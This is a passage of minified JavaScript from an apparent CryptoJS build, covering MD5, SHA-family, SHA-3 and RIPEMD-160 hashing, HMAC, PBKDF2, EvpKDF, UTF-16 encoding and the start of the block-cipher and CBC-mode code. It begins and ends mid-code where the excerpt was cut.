t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); 